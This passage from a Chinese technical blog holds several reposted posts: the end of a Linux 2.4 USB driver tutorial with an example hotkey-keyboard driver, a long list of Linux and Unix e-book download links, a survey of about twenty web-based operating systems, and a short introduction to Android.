    /* save our object in the file's private structure */

    file->private_data = skel;

    当open完设备后,read()、write()函数就可以收、发数据了。

    read()函数首先从open()函数中保存的fi。

    Write()函数和read()函数是完成驱动对读写等操作的响应。在skel_write中,一个FILL_BULK_URB函数,就完成了urb 系统callbak和的skel_write_bulk_callback之间的联系。注意skel_write_bulkcallback是中断方式,所以要注意时间不能太久,本程序中它就只是报告一些urb的状态等。 read 函数与write 函数稍有不同在于:程序并没有用urb 将数据从设备传送到驱动程序,而是用usb_bulk_msg 函数代替,这个函数能够不需要创建urbs 和操作urb函数的情况下,来发送数据给设备,或者从设备来接收数据。调用usb_bulk_msg函数并传到一个存储空间,用来缓冲和放置驱动收到的数据,若没有收到数据表示失败并返回一个错误信息。

    usb_bulk_msg函数:当对usb设备进行一次读或者写时,usb_bulk_msg 函数是非常有用的; 然而, 当需要连续地对设备进行读/写时,应建立一个自己的urbs,同时将urbs 提交给USB子系统。

    skel_disconnect函数:当释放设备文件句柄时,这个函数会被调用。
    MOD_DEC_USE_COUNT宏也会被调用到(和MOD_INC_USE_COUNT刚好对应,它减少一个计数器),首先确认当前是否有其他的程序正在访问这个设备,如果是最后一个用户在使用,可以关闭任何正在发生的写,操作如下:

    /* decrement our usage count for the device */

    --skel->open_count;

    if (skel->open_count <= 0) {

    /* shutdown any bulk writes that might be

    going on */

    usb_unlink_urb (skel->write_urb);

    skel->open_count = 0;

    }

    /* decrement our usage count for the module */

    MOD_DEC_USE_COUNT;

    USB设备可以在任何时间点从系统中取走,即使程序目前正在访问它。USB驱动程序必须要能够很好地处理解决此问题,它需要能够切断任何当前的读写,同时通知用户空间程序:USB设备已经被取走。

   2.设计实例

    下面通过介绍键盘飞梭驱动程序的实例来让读者更好的理解USB驱动程序的工作原理,实现代码如下:

    /*需要的头文件*/

    #include <linux/kernel.h>

    #include <linux/slab.h>            

    #include <linux/module.h>

    #include <linux/input.h>

    #include <linux/init.h>

    #include <linux/usb.h>

    #include <linux/kbd_ll.h>

    /* 驱动程序版本信息*/

    #define DRIVER_VERSION ""

    #define DRIVER_AUTHOR " TGE HOTKEY "

    #define DRIVER_DESC "USB HID Tge hotkey driver"

    #define USB_HOTKEY_VENDOR_ID 0x07e4

    #define USB_HOTKEY_PRODUCT_ID 0x9473

    /*厂商和产品ID信息就是/proc/bus/usb/devices中看到的值,通过cat/proc/bus/usb/devices得到当前系统探测到的USB总线上的设备信息。它包括Vendor、ProdID、Product等*/

    MODULE_AUTHOR( DRIVER_AUTHOR );

    MODULE_DESCRIPTION( DRIVER_DESC );

    /*此结构来自内核中drivers/usb/usbkbd.c*/

    struct usb_kbd {

    struct input_dev dev;

    struct usb_device *usbdev;

    unsigned char new[8];

    unsigned char old[8];

    struct urb irq, led;

    struct usb_ctrlrequest dr;

    unsigned char leds, newleds;

    char name[128];

    int open;

    };

    static void usb_kbd_irq(struct urb *urb) /*urb为USB请求块*/

    {

    struct usb_kbd *kbd = urb->context;

    int *new;

    new = (int *) kbd->new;

    if(kbd->new[0] == (char)0x01)

    {

    if(((kbd->new[1]>>4)&0x0f)!=0x7)

    {

    handle_scancode(0xe0,1);

    handle_scancode(0x4b,1);

    handle_scancode(0xe0,0);

    handle_scancode(0x4b,0);

    }

    else

    { handle_scancode(0xe0,1);

    handle_scancode(0x4d,1);

    handle_scancode(0xe0,0);

    handle_scancode(0x4d,0);

    }

    }

    printk("new=%x %x %x %x %x %x %x %x", kbd->new[0],kbd->new[1],kbd->new[2],kbd->new[3],

    kbd->new[4],kbd->new[5],kbd->new[6],kbd->new[7]);

    }

    static void *usb_kbd_probe(struct usb_device *dev, unsigned int ifnum, const struct usb_device_id *id)

    {

    struct usb_interface *iface;

    struct usb_interface_descriptor *interface;

    struct usb_endpoint_descriptor *endpoint;

    struct usb_kbd *kbd;

    int pipe, maxp;

    iface = &dev->actconfig->interface[ifnum];

    interface = &iface->altsetting[iface->act_altsetting];

    if ((dev->descriptor.idVendor != USB_HOTKEY_VENDOR_ID) || (dev->descriptor.idProduct != USB_HOTKEY_PRODUCT_ID) || (ifnum != 1))

    {

    return NULL;

    }

    if (dev->actconfig->bNumInterfaces != 2)

    {

    return NULL;

    }

    if (interface->bNumEndpoints != 1) return NULL;

    endpoint = interface->endpoint + 0;

    pipe = usb_rcvintpipe(dev, endpoint->bEndpointAddress);

    maxp = usb_maxpacket(dev, pipe, usb_pipeout(pipe));

    usb_set_protocol(dev, interface->bInterfaceNumber, 0);

    usb_set_idle(dev, interface->bInterfaceNumber, 0, 0);

    printk(KERN_INFO "GUO: Vid = %.4x, Pid = %.4x, Device = %.2x, ifnum = %.2x, bufCount = %.8x\\n", dev->descriptor.idVendor,dev->descriptor.idProduct,dev->descriptor.bcdDevice, ifnum, maxp);

    if (!(kbd = kmalloc(sizeof(struct usb_kbd), GFP_KERNEL))) return NULL;

    memset(kbd, 0, sizeof(struct usb_kbd));

    kbd->usbdev = dev;

    FILL_INT_URB(&kbd->irq, dev, pipe, kbd->new, maxp > 8 ? 8 : maxp, usb_kbd_irq,kbd, endpoint->bInterval); kbd->irq.dev = kbd->usbdev;

    if (dev->descriptor.iManufacturer) usb_string(dev, dev->descriptor.iManufacturer, kbd->name, 63);

    if (usb_submit_urb(&kbd->irq)) {

    kfree(kbd); return NULL; }

    printk(KERN_INFO "input%d: %s on usb%d:%d.%d\\n", kbd->dev.number, kbd->name, dev->bus->busnum, dev->devnum, ifnum);

    return kbd; }

    static void usb_kbd_disconnect(struct usb_device *dev, void *ptr)

    {

    struct usb_kbd *kbd = ptr;

    usb_unlink_urb(&kbd->irq);

    kfree(kbd);

    }

    static struct usb_device_id usb_kbd_id_table [] = {

    { USB_DEVICE(USB_HOTKEY_VENDOR_ID, USB_HOTKEY_PRODUCT_ID) },

    { } /* Terminating entry */

    };

    MODULE_DEVICE_TABLE (usb, usb_kbd_id_table);

    static struct usb_driver usb_kbd_driver = {

    name: "Hotkey",

    probe: usb_kbd_probe,

    disconnect: usb_kbd_disconnect,

    id_table: usb_kbd_id_table,

    NULL,

    };

    static int __init usb_kbd_init(void)

    {

    usb_register(&usb_kbd_driver);

    info(DRIVER_VERSION ":" DRIVER_DESC);

    return 0;

    }

    static void __exit usb_kbd_exit(void)

    {

    usb_deregister(&usb_kbd_driver);

    }

    module_init(usb_kbd_init);

    module_exit(usb_kbd_exit);

    三、结语

    USB规范是一门比较新的技术,接口使用方便,但是驱动程序的设计较复杂。上面介绍了USB设备驱动程序的设计,主要分析了主机端驱动程序的设计,并且给出了一个编写USB驱动程序的实例。

    参考文献

    1.刘峥嵘.嵌入式Linux应用开发详界解.机械工业出版社,2004

    2.周立功.ARM嵌入式Linux系统构件与驱动开发范例.北京航天航空大学出版社,2006

    3.刘淼.嵌入式系统接口设计与Linux驱动程序开发.北京航天航空大学出版社,2006

posted @ 2009-06-11 21:29 MEYE 阅读(552) | 评论 (0)编辑 收藏

 

转载--Linux经典书籍博物馆展览 2009-05-18 11:24

字号:    

 

经典书籍在这里集中,有些比较旧,但也值得参考,如果有朋友转载,请注明出处:小文论坛http://www.wonyen.net/bbs/mboard.asp),并且与我们联系,尊重别人的成果,等于尊重自己,我们也感谢提供下载朋友,也希望有心的朋友提供自己的书籍,让这里成为最好的Linux书籍博物馆。1000本是目标,依靠大家支持!如果大家在这里找到好书最好跟个帖子,让我们知道辛苦的回应!

第一部分:Linux基础应用

1、《Linux从入门到精通》
http://www.gouhuo.com/study/linuxbook.zip

2、 Linux 系统安全与优化中文
这本书的英文版“Get Acquainted with Linux Security and Optimization System”(简称LinuxSOS)是Linux文档计划(Linux Document Project)中比较新的一本指南。这本书不是Linux的入门书籍,读这本书需要有Linux或者Unix的背景知识。如果你已经安装过Linux而且能够使用一些简单的Unix命令,那么这本书会对你有很大的帮助。
http://www.linuxaid.com.cn/download/training/linuxsos-cn.pdf

3、Linux安装与配置简明手册 13-Aug-2002 16:14 20M
http://cpss.zz.ha.cn/study/linux ... %f7%ca%d6%b2%e1.zip

4、Linux编程白皮书.zip 13-Aug-2002 16:14 16M
http://cpss.zz.ha.cn/study/linux ... %d7%c6%a4%ca%e9.zip

5、Linux网站建设技术指南 13-Aug-2002 16:14 9.2M
http://cpss.zz.ha.cn/study/linux ... %f5%d6%b8%c4%cf.zip

6、Linux系统分析与高级编程 13-Aug-2002 16:14 11M
http://cpss.zz.ha.cn/study/linux ... %cc%bc%bc%ca%f5.zip

7、Linux系统管理白皮书.zip 13-Aug-2002 16:14 6.8M
http://cpss.zz.ha.cn/study/linux ... %d7%c6%a4%ca%e9.zip

8、Linux应用程序开发指南 13-Aug-2002 16:14 9.1M
http://cpss.zz.ha.cn/study/linux ... +%20Gnome%bf%e2.zip

9、Linux 24学时教程.zip 13-Aug-2002 16:14 34M
http://cpss.zz.ha.cn/study/linux ... %b1%bd%cc%b3%cc.zip

10、Red Hat Linux 6大全.zip 13-Aug-2002 16:15 33M
http://cpss.zz.ha.cn/study/linux ... 206%b4%f3%c8%ab.zip

11、Red Hat Linux 6管理工具 13-Aug-2002 16:15 13M
http://cpss.zz.ha.cn/study/linux ... %ed%b9%a4%be%df.zip

12、http://www.linuxsir.org/pdf/ebook1.rar
http://www.linuxsir.org/pdf/ebook2.rar
具体文章如下:
基础建设讨论专版:
Linux管理员手册
linux入门教程
linux指令大全

红旗版区的:
红旗桌面4正式版最新使用方法和问题解答100例

Linux shell进阶应用与shell编程
命令大集合
TCSH shell 编程
Bourne Shell及shell编程
Linux Shell简介
脚本精华欣赏
使用 Bash shell 脚本进行功能测试

Linux 发行版SuSE专题
SuSE 解决方案

13、Debian的中文FAQ 600k pdf
http://linuxdoc.51.net/download/Debian_cn_FAQ.pdf

14、Linux Kernel 核心手册(中文)552k zip
http://linuxdoc.51.net/download/Linux_Kernel_cn.zip

15、Linux + Solaris 48k pdf
http://linuxdoc.51.net/download/LinuxSolaris.pdf

16、Linux SOS 1.1 1.3M pdf
http://linuxdoc.51.net/download/linuxsos-11.pdf

17、SuSE官方汉化手册 1.4M pdf
http://linuxdoc.51.net/download/suse_guanfang_hanhua.pdf

18、Linux Kernel 1.3M pdf
http://linuxdoc.51.net/download/linux_kernel.pdf

19、Linux程序员指南 337k zip
http://linuxdoc.51.net/download/linux_program.zip

20、Linux高级技巧集 72k zip
http://linuxdoc.51.net/download/linux_gaoji_jiqiao.zip

21、OReilly Unix超级工具(第三版)
http://bbs.itebook.net/attachment.php?aid=621
http://bbs.itebook.net/attachment.php?aid=622

22、FreeBSD使用大全(Chm格式)
是王波写的一本专门介绍Freebsd的书籍,共94章,图文并茂,是不可多得的FreeBSD方面的教材。
http://www.linuxdby.com/download ... dde35e9c2&id=15

23、Redhat 9.0 官方中文安装指南
http://www.fcitx.org/flysail/rhl-ig-x86-zh_CN-9.tar.gz

Redhat 9.0 官方中文入门指南
http://www.fcitx.org/flysail/rhl-gsg-zh_CN-9.tar.gz

Redhat 9.0 官方中文定制指南
http://www.fcitx.org/flysail/rhl-cg-zh_CN-9.tar.gz

24、《Linux 新手管理员指南》
本书《Linux 新手管理员指南》是英文版LINUX NEWBIE ADMINISTRATOR GUIDE 的完整中文译本,共237页,PDF格式。
原版:http://linux-newbie.sunsite.dk/
下载:http://www.linuxdby.com/download ... dde35e9c2&id=51

25、Linux高级配置详解(PDG)
讲述在Linux*作系统下的软、硬件配置、网络应用配置、X Window系统配置以及内核的配置和编译等知识。
http://www.mycodes.net/down.asp?id=793&no=1
http://www.mycodes.net/down.asp?id=793&no=2

第二部分:Linux系统管理

1、Setting up a Local Area Network (EN)上载:5/9/2002
http://www.joyfire.net/compress/rh-lan.pdf

2、linux for mainframe (EN)上载:5/9/2002
http://www.joyfire.net/compress/linux4mainframe.zip

3、Linux Consultants Guide (EN)上载:1/9/2002
http://www.joyfire.net/compress/Consultants-Guide.html.tar.gz

4、LPI认证复习资料1 2 3 4 5 6 7 8上载:13/7/2002
http://www.joyfire.net/compress/l-lpi1.zip
http://www.joyfire.net/compress/l-lpi2.zip
http://www.joyfire.net/compress/l-lpi3.zip
http://www.joyfire.net/compress/l-lpi4.zip
http://www.joyfire.net/compress/l-lpi5.zip
http://www.joyfire.net/compress/l-lpi6.zip
http://www.joyfire.net/compress/l-lpi7.zip
http://www.joyfire.net/compress/l-lpi8.zip

5、Red Hat Network Basic User Reference Guide (EN)上载:13/7/2002
http://www.joyfire.net/compress/rhn-basic-urg-en-3.3.tgz

6、Red Hat Network Enterprise User Reference Guide (EN)上载:13/7/2002
http://www.joyfire.net/compress/rhn-enterprise-urg-en-1.1.tgz

7、Linux FAQ 在线浏览 上载:11/6/2002
http://www.joyfire.net/compress/Linux-FAQ.html.tar.gz
http://www.joyfire.net/Linux-FAQ/index.html

8、Linux系统分析与高级编程技术上载:4/5/2002
http://www.joyfire.net/compress/linux_advanced_technology.zip

9、RedHat Linux网络管理工具上载:4/5/2002
http://www.joyfire.net/compress/ ... gement_Tools_CN.zip

10、Linux管理指南上载:4/5/2002
http://www.joyfire.net/compress/Linux_Management_CN.zip

11、GNU Linux 高级网络应用服务指南上载:4/5/2002
http://www.joyfire.net/compress/ ... d_network_Guide.zip
l
12、inux环境数据库管理员手册上载:4/5/2002
http://www.joyfire.net/compress/Linuxdb.zip

13、Complete Linux Command Reference (EN)上载:4/5/2002
http://www.joyfire.net/compress/ ... mmand_Reference.zip

14、Bugzilla-Guide (EN) 上载:20/4/2002
http://www.joyfire.net/compress/Bugzilla-Guide.html.tar.gz

15、Llinuxcookbook (EN) 在线浏览 上载:20/4/2002
http://www.joyfire.net/compress/linuxcookbook-1.2.html.tar.gz
http://www.joyfire.net/linuxcookbook/index.html

16、Linux HOWTO (EN)(9.8M) 在线浏览 中文版和miniHOWTO (EN) 中文版上载:13/3/2002
http://www.joyfire.net/compress/Linux-html-HOWTOs.tar.gz
http://www.joyfire.net/HOWTO/HOWTO-INDEX/howtos.html
http://www.joyfire.net/compress/newhowto_cn.zip
http://www.joyfire.net/compress/ ... TOs-20020420.tar.gz
http://www.joyfire.net/compress/minihow_cn.zip

17、Advanced Bash-Scripting Guide(EN) 在线浏览 上载:11/3/2002
http://www.joyfire.net/compress/abs-guide.html.tar.gz
http://www.joyfire.net/abs-guid/index.html

18、Securing and Optimizing Linux RedHat Edition -A Hands on Guide(EN) 在线浏览 上载:11/3/2002
http://www.joyfire.net/compress/ ... on-v1.3.html.tar.gz
http://www.joyfire.net/solrhe/Se ... ion-v1.3/index.html

19、CVS Best Practices(EN) 在线浏览 上载:11/3/2002
http://www.joyfire.net/compress/CVS-BestPractices.html.tar.gz
http://www.joyfire.net/CVS-BestPractices/index.html

20、The Linux System Administrators' Guide(EN) 在线浏览 中文版上载:1/1/2002。
http://www.joyfire.net/compress/sag.html.tar.gz
http://www.joyfire.net/sag/index.html
http://www.joyfire.net/compress/Linuxsys.zip

21、The Linux Network Administrator's Guide, 2e (EN) 在线浏览 上载:1/1/2002
http://www.joyfire.net/compress/nag-2.0.html.tar.gz
http://www.joyfire.net/nag2/index.html

22、Linux System Administration Made Easy (EN) 在线浏览 上载:1/1/2002
http://www.joyfire.net/compress/lame.html.tar.gz
http://www.joyfire.net/lame/index.html

23、AKA讲座(a link)上载:1/1/2002
http://bj.aka.org.cn/Lectures/index.html

24、ORACLE for linux install handbook (EN)上载:1/1/2002
http://www.joyfire.net/compress/installguide_linux102.pdf

25、Redhat 7.2 install handbook (EN)上载:1/1/2002
http://www.joyfire.net/compress/rhl-ig-x86-en-72.tgz

26、Linux安全最大化(PDG)
介绍Linux安全基础,如何防御口令攻击和数据攻击角度来讨论Linux用户安全,Linux网络安全,各种Internet服务的安全性、防火墙、入侵检测、日志和审计跟踪以及灾难恢复等.
http://www.mycodes.net/down.asp?id=827&no=1
http://www.mycodes.net/down.asp?id=827&no=2

27、Linux高级配置详解(PDG)
讲述在Linux*作系统下的软、硬件配置、网络应用配置、X Window系统配置以及内核的配置和编译等知识。
http://www.mycodes.net/down.asp?id=793&no=1
http://www.mycodes.net/down.asp?id=793&no=2

28、Running Linux(EN)上载:23/9/2003
http://joyfire.net/compress/running_linux_4e.pdf

29、Learning Red Hat Linux(EN)上载:23/9/2003
http://joyfire.net/compress/learning_redhat_linux.pdf

30、Learning the Unix Operating System(EN)上载:23/9/2003
http://joyfire.net/compress/Learning_the%20UNIX_OS.pdf

31、Linux Programming Unleashed(EN)上载:23/9/2003
http://joyfire.net/compress/linux_programming_unleashed.pdf
第三部分:Linux代码编写

1、POSIX threads explained(EN)上载:5/9/2002
http://www.joyfire.net/compress/linuxthreads.zip

2、Emacspeak User's Guide (EN)上载:1/9/2002
http://www.joyfire.net/compress/espk-ug.html.tar.gz

3、MICO文档 (EN)上载:1/9/2002
http://www.joyfire.net/compress/mico-doc-html.tar.gz

4、GNU Autotools Guide (EN)上载:13/7/2002
http://www.joyfire.net/compress/autobook-1.3.tar.gz

5、Linux Threads FAQ 在线浏览 上载:11/6/2002
http://www.joyfire.net/compress/Threads-FAQ-html.tar.gz
http://www.joyfire.net/Threads-FAQ/index.html

6、Linux系统分析与高级编程技术上载:4/5/2002
http://www.joyfire.net/compress/linux_advanced_technology.zip

7、ELF文件格式 (EN)上载:10/5/2002
http://www.joyfire.net/compress/elf.pdf

8、Bugzilla-Guide (EN) 在线浏览 上载:20/4/2002
http://www.joyfire.net/compress/Bugzilla-Guide.html.tar.gz

9、The Linux Programmer's Guide (EN) 在线浏览 上载:11/3/2002
http://www.joyfire.net/compress/lpg.html.tar.gz
http://www.joyfire.net/lpg/index.html

10、CVS Best Practices(EN) 在线浏览 上载:11/3/2002
http://www.joyfire.net/compress/CVS-BestPractices.html.tar.gz
http://www.joyfire.net/CVS-BestPractices/index.html

11、Advanced Bash-Scripting Guide(EN) 在线浏览 上载:11/3/2002
http://www.joyfire.net/compress/abs-guide.html.tar.gz
http://www.joyfire.net/abs-guid/index.html

12、Linux设备驱动程序(CH)(Linux Device Drivers): 在线浏览 上载:1/3/2002
http://www.joyfire.net/lsdp/index.htm

13、The Linux Kernel Module Programming Guide (EN) 在线浏览 中文版上载:1/1/2002
http://www.joyfire.net/compress/lkmpg.html.tar.gz
http://www.joyfire.net/lkmpg/index.html
http://www.joyfire.net/compress/lkmpg_cn.rtf.zip

14、AKA讲座(a link)上载:1/1/2002
http://bj.aka.org.cn/Lectures/index.html

15、i386 Reference Programmer's Manual(EN)上载:6/10/2003
http://joyfire.net/386ASM/index.htm

第四部分:Linux内核分析

1、netxiong linux内核分析笔记上载:28/7/2003
http://www.joyfire.net/compress/netxiong-linux.zip

2、CML2 Language and Tools Description(EN)上载:12/ 7/2003
http://www.joyfire.net/compress/cml2.pdf

3、Z8530 Programming Guide(EN)上载:11/ 7/2003
http://www.joyfire.net/compress/z8530book.pdf

4、Synchronous PPP and Cisco HDLC Programming Guide(EN)上载:11/ 7/2003
http://www.joyfire.net/compress/wanbook.pdf

5、Video4Linux Programming(EN)上载:11/ 7/2003
http://www.joyfire.net/compress/videobook.pdf

6、The Linux 2.4 Parallel Port Subsystem(EN)上载:11/ 7/2003
http://www.joyfire.net/compress/parportbook.pdf

7、MCA Driver Programming Interface(EN)上载:11/ 7/2003
http://www.joyfire.net/compress/mcabook.pdf

8、The Linux Kernel API(EN)上载:9/ 7/2003
http://www.joyfire.net/compress/kernel-api.pdf

9、Unreliable Guide To Hacking The Linux Kernel(EN)上载:9/ 7/2003
http://www.joyfire.net/compress/kernel-hacking.pdf

10、Unreliable Guide To Locking(EN)上载:9/ 7/2003
http://www.joyfire.net/compress/kernel-locking.pdf

11、OSDesign上载:18/3/2003
http://www.joyfire.net/compress/OSDesign-0.0.6.1.zip

12、Linux Kernel 2.4 Internals(EN)上载:18/3/2003
http://www.joyfire.net/compress/lki.html.tar.gz

13、Compiling the linux kernel(EN)上载:5/9/2002
http://www.joyfire.net/compress/compile_kernel.pdf

14、OSKit项目源代码、论文和文档上载:13/7/2002
http://www.joyfire.net/compress/oskit-20020317.tar.gz
http://www.joyfire.net/compress/oskit-papers.zip
http://www.joyfire.net/compress/oskit.html.tar.gz

15、GNU Autotools Guide (EN)上载:13/7/2002
http://www.joyfire.net/compress/autobook-1.3.tar.gz

16、Compile linux kernel (EN)上载:12/7/2002
http://www.joyfire.net/compress/compilekernel.zip

17、Intel体系结构参考手册 (EN)和Intel体系结构手册 (EN)上载:16/5/2002
http://www.joyfire.net/compress/Architecture_Reference.pdf
http://www.joyfire.net/compress/Architecture.pdf

18、IA32体系结构设计手册卷一 (EN)上载:16/5/2002
http://www.joyfire.net/compress/IA32-1.pdf

19、IA32体系结构设计手册卷二 (EN)上载:16/5/2002
http://www.joyfire.net/compress/IA32-2.pdf

20、IA32体系结构设计手册卷三 (EN)上载:16/6/2002
http://www.joyfire.net/compress/IA32-3.pdf

21、ELF文件格式 (EN)上载:10/5/2002
http://www.joyfire.net/compress/elf.pdf

22、Linux系统分析与高级编程技术上载:4/5/2002
http://www.joyfire.net/compress/linux_advanced_technology.zip

23、The Linux Kernel (EN) 在线浏览 中文版上载:10/3/2002。
http://www.joyfire.net/compress/tlk.html.tar.gz
http://www.joyfire.net/tlk/tlk.html
http://www.joyfire.net/compress/Linux_Kernel_CN.zip

24、Linux From Scratch (EN) 在线浏览 上载:10/3/2002。
http://www.joyfire.net/compress/LFS-3.1.html.tar.gz
http://www.joyfire.net/lfs/index.html

25、Linux设备驱动程序(CH)(Linux Device Drivers): 在线浏览 上载:1/3/2002

http://www.joyfire.net/lsdp/index.htm

26、华中理工大学98级研究生linux系统分析报告上载:10/2/2002。
http://www.joyfire.net/compress/98_tar.tar.gz

27、华中理工大学96级本科生linux系统分析报告上载:10/2/2002。
http://www.joyfire.net/compress/96_tar.tar.gz

28、The Linux Kernel Module Programming Guide (EN) 在线浏览 中文版上载:1/1/2002
http://www.joyfire.net/compress/lkmpg.html.tar.gz
http://www.joyfire.net/lkmpg/index.html
http://www.joyfire.net/compress/lkmpg_cn.rtf.zip

29、The Linux Kernel Hackers' Guide (EN) 在线浏览 上载:1/1/2002
http://www.joyfire.net/compress/khg.html.tar.gz
http://www.joyfire.net/khg/index.html

30、AKA讲座(a link)上载:1/1/2002。
http://bj.aka.org.cn/Lectures/index.html

31、Linux内核情景分析(上),Linux内核情景分析(下)上载:6/10/2003
http://joyfire.net/compress/linuxqjfx1.pdf
http://joyfire.net/compress/linuxqjfx2.pdf
第五部分:Unix优秀电子书

1、莱昂氏UNIX源代码分析13-Aug-2002 16:13 13M
http://cpss.zz.ha.cn/study/unix/ ... %eb%b7%d6%ce%f6.zip

2、实践大师:UNIX awk和sed编程篇13-Aug-2002 16:13 6.7M
http://cpss.zz.ha.cn/study/unix/ ... %e0%b3%cc%c6%aa.rar

3、实践大师:unix shell编程篇13-Aug-2002 16:13 7.2M
http://cpss.zz.ha.cn/study/unix/ ... %e0%b3%cc%c6%aa.rar

4、HP-UX System and Network Fundermental 13-Aug-2002 16:13 7.4M
http://cpss.zz.ha.cn/study/unix/ ... %20Fundermental.pdf

5、LINUX与UNIX Shell编程指南13-Aug-2002 16:12 19M
http://cpss.zz.ha.cn/study/unix/ ... %cc%d6%b8%c4%cf.zip

6、UNIX环境高级编程.zip 13-Aug-2002 16:12 18M
http://cpss.zz.ha.cn/study/unix/ ... %b6%b1%e0%b3%cc.zip

7、UNIX教程网络篇.zip 13-Aug-2002 16:13 13M
http://cpss.zz.ha.cn/study/unix/ ... %f8%c2%e7%c6%aa.zip

8、UNIX系统安全工具.zip 13-Aug-2002 16:13 6.6M
http://cpss.zz.ha.cn/study/unix/ ... %ab%b9%a4%be%df.zip

9、hp-ux系统和网络管理.rar 13-Aug-2002 16:13 4.2M
http://cpss.zz.ha.cn/study/unix/ ... %e7%b9%dc%c0%ed.rar

10、scounix系统管理员宝典13-Aug-2002 16:12 21M
http://cpss.zz.ha.cn/study/unix/ ... %b1%b1%a6%b5%e4.rar

11、shell编程和unix命令.rar 13-Aug-2002 16:12 17M
http://cpss.zz.ha.cn/study/unix/ ... nix%c3%fc%c1%ee.rar
posted @ 2009-06-11 21:29 MEYE 阅读(501) | 评论 (0)编辑 收藏
Linux C Function参考手册

Linux C Function参考手册一本深入详细介绍Linux C 函数的书。。
有用的朋友可以看下.


附件: [Linux C Function参考手册] LinuxC-Function.pdf (2008-7-2 09:04, 926.65 K)


http://bbs.lupaworld.com/attachment.php?aid=7508


http://v.youku.com/v_show/id_XMzM5MTI0NTY=.html
posted @ 2008-07-06 14:58 MEYE 阅读(811) | 评论 (1)编辑 收藏


http://www.kenengba.com/post/402.html

20多个在线操作系统(webOS)一览

写于2008-03-21 – 2:18 下午 | 作者:Jason Ng | 类别 » 互联网络 |

 

之前我介绍了很多在线软件,而说到在线软件,不能不提在线操作系统(WebOS),相比起单个的在线软件,在线操作系统功能更全面,所有功能都是基于浏览器(如果你所在的地方禁用的MSN,不妨尝试使用WebOS来登录)。有人相信webOS会成为未来的主流,因为和在线软件一样,你能在任何地方连接到自己的工作平台和文件存储。这里介绍20多个WebOS,其中有不少是提供中文界面的。

1、I-Cube

20多个在线操作系统(webOS)一览(可能吧 www.kenengba.com)

提供1G的在线存储和文件共享,多媒体支持和一些常用办公工具。同时拥有一个email客户端和编程开发工具。

2、EyeOS

20多个在线操作系统(webOS)一览(可能吧 www.kenengba.com)

EyeOS是一个开源软件,可以下载使用也可以在其服务器上在线使用。拥有丰富的网络程序以及办公套件。个性化强度高。

3、eXo Enterprise WebOS

20多个在线操作系统(webOS)一览(可能吧 www.kenengba.com)

使用了大量的Web2.0元素构造,使用了大量的AJAX和Jacascript,因此它使用起来是相当方便的,即使在没有互联网连接的情况下也可以使用。

4、Zimdesk

Zimdesk提供的应用程序可以用琳琅满目来形容,从办公应用到多媒体应用,从文件管理到网络电视,又或者从RSS订阅到聊天工具,功能可谓是很好很强大。

5、Glide OS

一个需要flash支持的在线操作系统,除了提供Web入口之外,还提供移动网络入口。提供的程序和Zimdesk大同小异,不过有点杂乱。

6、WidgetPlus

顾名思义,这是一个以Widget为基础构成的WebOS,由于Widget的开放性,这个OS提供功能必将会越来越强大。

7、Peepel 

 

与其说在线操作系统,不如说Peepel是一个在线办公应用,和ZohoGoogle Docs是大同小异的。相比之下,我更喜欢Zoho。

8、Xindesk

20多个在线操作系统(webOS)一览(可能吧 www.kenengba.com)

一个免费在WebOS,支持所有的文件在线存储,日程管理,联系人资料等等。有点像Vista?

9、YouOS 

20多个在线操作系统(webOS)一览(可能吧 www.kenengba.com)

YouOS是一个非常优秀的WebOS,使用JavaScript来与服务器交换数据,在进行下一步操作之前,上一步的操作会被记录,方便返回。另外,YouOS在在线协同操作方面做得非常优秀。

10、Widgetop

20多个在线操作系统(webOS)一览(可能吧 www.kenengba.com)

注意,你不能使用IE来登入这个WebOS!Firefox,Safari等都没有问题。即使是iPhone的浏览器也可以。由于又是基于Widget的,其扩展性是相当强的。

11、CorneliOS

 

12、JavaFlashBridge

 

13、Appmarks

一个用于iPhone和iPod Touch的在线操作系统, 事实上从外观看来也很有“水果商”的感觉。

14、Craythur

 

Craythur在界面设计上花了不少功夫,直观看起来和windows非常相似。

15、Desktoptwo

20多个在线操作系统(webOS)一览(可能吧 www.kenengba.com)

Desktoptwo不但拥有华丽的界面,其可操作性也是非常强大的,和其它很多webOS不同,它的所有应用程序都是用php语言编写的,并且都支持拖曳操作。

16、Ghost

此Ghost并非彼Ghost,这个是G.ho.st,但和赛门铁克的Ghost有几分相似,因为它也是经常做“备份”的操作。G.ho.st提供的功能也是相当强大的,而且界面看起来比较舒服。

17、Orca

OK,你的确很喜欢Vista,那么orca将会非常适合你。从截图你可以看出它有多像Vista,目前Orca的所有项目已经迁移到StartFoce上去。

18、SSOE

20多个在线操作系统(webOS)一览(可能吧 www.kenengba.com)

19、Purefect

20多个在线操作系统(webOS)一览(可能吧 www.kenengba.com)

20、Goowy

以上20个WebOS介绍摘译自My10sen

21、TomOS

20多个在线操作系统(webOS)一览(可能吧 www.kenengba.com)

不能不提的中文webOS服务,很多功能都是符合中国人的使用习惯的,因此使用起来会非常得心应手。

22、Jooce

20多个在线操作系统(webOS)一览(可能吧 www.kenengba.com)

一个基于flash的webOS,支持的语言达10多种,当然其中包括中文。使用起来非常舒服,其速度也是相当可以的。但我在使用时总出现图片出错的情况,莫非我的图片是不雅照?

posted @ 2008-03-26 11:40 MEYE 阅读(1146) | 评论 (0)编辑 收藏
Android平台介绍   http://www.loveandroid.com/

Google android介绍http://www.loveandroid.com/viewthread.php?tid=72&extra=page%3D2

http://topic.csdn.net/u/20080314/08/8eb27070-cc44-48be-af11-dc6da4023441.html

Android是什么? Android是一个针对移动设备的程序集, 其中包括一个操作系统, 一个中间件和一些关键性应用. 本文首先概览了Android SDK提供的工具和APIs, 当您在使用Java语言来开发Android平台的应用时您会用到它们.  

特性 

   1.程序程序框架可重用及可复写组件组成  
   2.针对移动设备优化过的JAVA Dalvik虚拟机,采用流行的JAVA进行应用开发 
   3.整合浏览器, 该浏览器基于开源的WebKit引擎开发  
   4.提供了优化过得图形系统, 该系统由一个自定义的2D图形库; 一个遵循OpenGL ES 1.0标准(硬件加速)的3D图形库组成  
   5.使用SQLite来实现结构化数据的存储  
   6.媒体方面对一些通用的audio, video, 和图片格式提供支持(MPEG4, H.264, MP3, AAC, AMR, JPG, PNG, GIF)  
   7.GSM技术(依赖硬件)  
   8.蓝牙, EDGE, 3G和WiFi(依赖硬件)  
   9.Camera, GPS, 指南针, 和加速计 (依赖硬件)  
   10.非常丰富的开发环境, 包括一个设备模拟器, 调适工具, 内存和效率调优工具和一个Eclipse的插件  

Android的结构 
    下图展示了Android 操作系统的主要组件结构. 每一部分都在下面的段落有详细介绍  

 

